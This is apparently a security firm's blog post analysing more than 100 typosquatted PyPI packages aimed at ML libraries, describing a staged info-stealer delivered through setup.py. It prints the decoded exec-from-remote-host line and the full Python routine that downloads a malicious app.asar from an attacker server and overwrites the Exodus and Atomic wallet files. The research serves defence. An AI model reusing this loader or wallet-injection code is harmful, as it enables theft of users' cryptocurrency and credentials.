Over 100 Malicious Packages Target Popular ML PyPi Libraries
Table of Contents
Early on March 28, 2024, the Mend.io research team detected more than 100 malicious packages targeting the most popular machine learning (ML) libraries from the PyPi registry. Among those libraries are Pytorch, Matplotlib, and Selenium.
The attack involves a typosquatting technique designed to trick developers into downloading malicious versions of those packages—for example, “Matplotltib”, “selennim”, and “PyToich”
The malicious packages used the Fernet mechanism to decrypt their malicious script. Upon decryption, the script fetches further attack stages according to its instructions.
Upon investigating the malicious code, the team found malware that steals the user’s personal information, such as passwords and tokens, and tries to collect crypto currencies. Additionally, the malware remains persistent in attempting to install itself in the startup path.
Let’s break down the execution flow of those packages:
It all starts with the setup.py file, which will allow the payload to execute after it is installed.
This file holds the first stage of the execution, including an encrypted Fernet payload that upon decoding will result in the following:
"b"exec(requests.get('hxxps[://]funcaptcha[.]ru/paste2?package=<PackageName>').text.replace('<pre>','').replace('</pre>',''))"
Figure 1. Setup.py file with encrypted Fernet payload
After getting the response from this host, we found another obfuscated script using the exact decryption mechanism. This time, the script will write its obfuscated content into a file named ‘gruppe.py‘ and execute it.
Figure 2. Encrypted payload is written into the ‘gruppe.py‘ file.
The third and final stage happens after executing the ‘gruppe.py’ file. The obfuscated payload will be decoded, and the real intent of this attack is revealed.
Figure 3. Last stage – Sophisticated info-stealer
The last deobfuscated script includes the following capabilities:
Environment setup. It defines paths to various important directories (like USERPROFILE, APPDATA, and LOCALAPPDATA) and creates a storage directory for collected data.
Extension and wallet data extraction. It looks for specific browser extensions and wallet applications (like Exodus, Electrum, Coinomi), presumably to steal cryptocurrency or related data. This involves creating ZIP archives of targeted directories and files that are uploaded to hxxps[://]funcaptcha[.]ru/delivery.
Discord token theft. The script searches Discord-related local storage files for authentication tokens, which could allow unauthorized access to Discord accounts.
File search and upload. It searches the user’s system for files with keywords related to sensitive information (passwords, accounts, crypto wallets) across several directories and uploads any findings to a server.
Persistence and remote control. It attempts to download a Python script (hvnc.py) to the system’s Startup folder for persistence.
Stealth and evasion. The script uses SubProcess with flags like CREATE_NO_WINDOW to hide its execution and operates silently by suppressing output to DEVNULL.
Interestingly, the script also repeatedly attempts to inject malicious content into the Atomic and Exodus Wallet applications, which are popular software wallets for cryptocurrency that support various coins and tokens.
def inject(): procc = "exodus.exe" local = os.getenv("localappdata") path = f"{local}/exodus" if not os.path.exists(path): return listOfFile = os.listdir(path) apps = [] for file in listOfFile: if "app-" in file: apps += [file] exodusPatchURL = "https://funcaptcha.ru/app.asar" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"} req = Request(exodusPatchURL, headers=headers) response = urlopen(req) data = response.read() subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True) for app in apps: try: fullpath = f"{path}/{app}/resources/app.asar" with open(fullpath, 'wb') as out_file1: out_file1.write(data) except: pass "User-Agent": "Mozilla/5.0" for i in range(10): try: inject() break except: pass def inject_atomic(): procc = "Atomic Wallet.exe" local = os.getenv("localappdata") path = f"{local}/Programs/atomic" if not os.path.exists(path): return atomicPatchURL = "https://funcaptcha.ru/atomic/app.asar" headers = {"User-Agent": "Mozilla/5.0"} req = Request(atomicPatchURL, headers=headers) response = urlopen(req) data = response.read() subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True) try: fullpath = f"{path}/resources/app.asar" with open(fullpath, 'wb') as out_file1: out_file1.write(data) except: pass for i in range(10): try: inject_atomic() break except: pass
Figure 4. Crypto wallet injection functionality
The flow for this functionality looks like this:
1. Identify crypto wallet applications. The script looks for the installation directory of the Crypto Wallet applications on the user’s system. It specifically targets the atomic and exodus directories within the user’s local application data folder, a common location for installed applications on Windows systems.
2. Download and inject malicious component. The script constructs a request to download a malicious app.asar file from a specified URL (hxxps[://]funcaptcha[.]ru/atomic/app[.]asar / hxxps[://]funcaptcha[.]ru/app[.]asar). The app.asar file is an Electron application archive commonly used in Electron-based applications like Atomic/Exodus Wallet to bundle their resources. By downloading and replacing the legitimate app.asar with a malicious one, the attacker can alter the behavior of those Wallet applications, potentially introducing functionalities that compromise the wallet’s security and the user’s cryptocurrency assets.
3. Ensure execution. The script attempts to force stop (kill) any Atomic/Exodus Wallet application running instances using the taskkill command. This will ensure that the malicious app.asar file can be placed without any file access conflicts. After killing the process, the script writes the downloaded malicious app.asar file into the Wallet’s resources directory, effectively replacing the legitimate version.
4. Repeat attempts. The script wraps the injection process in a loop that attempts the download and injection up to 10 times. This could be an error-handling strategy to deal with potential issues such as network connectivity problems or the Wallet application being in use and thus locked for writing.
Summary
This attack demonstrates the importance of verifying every component we introduce into our code. In the new era of AI and LLMs, we expect to see more sophisticated attacks that target ML model developers and trick them into downloading malicious code.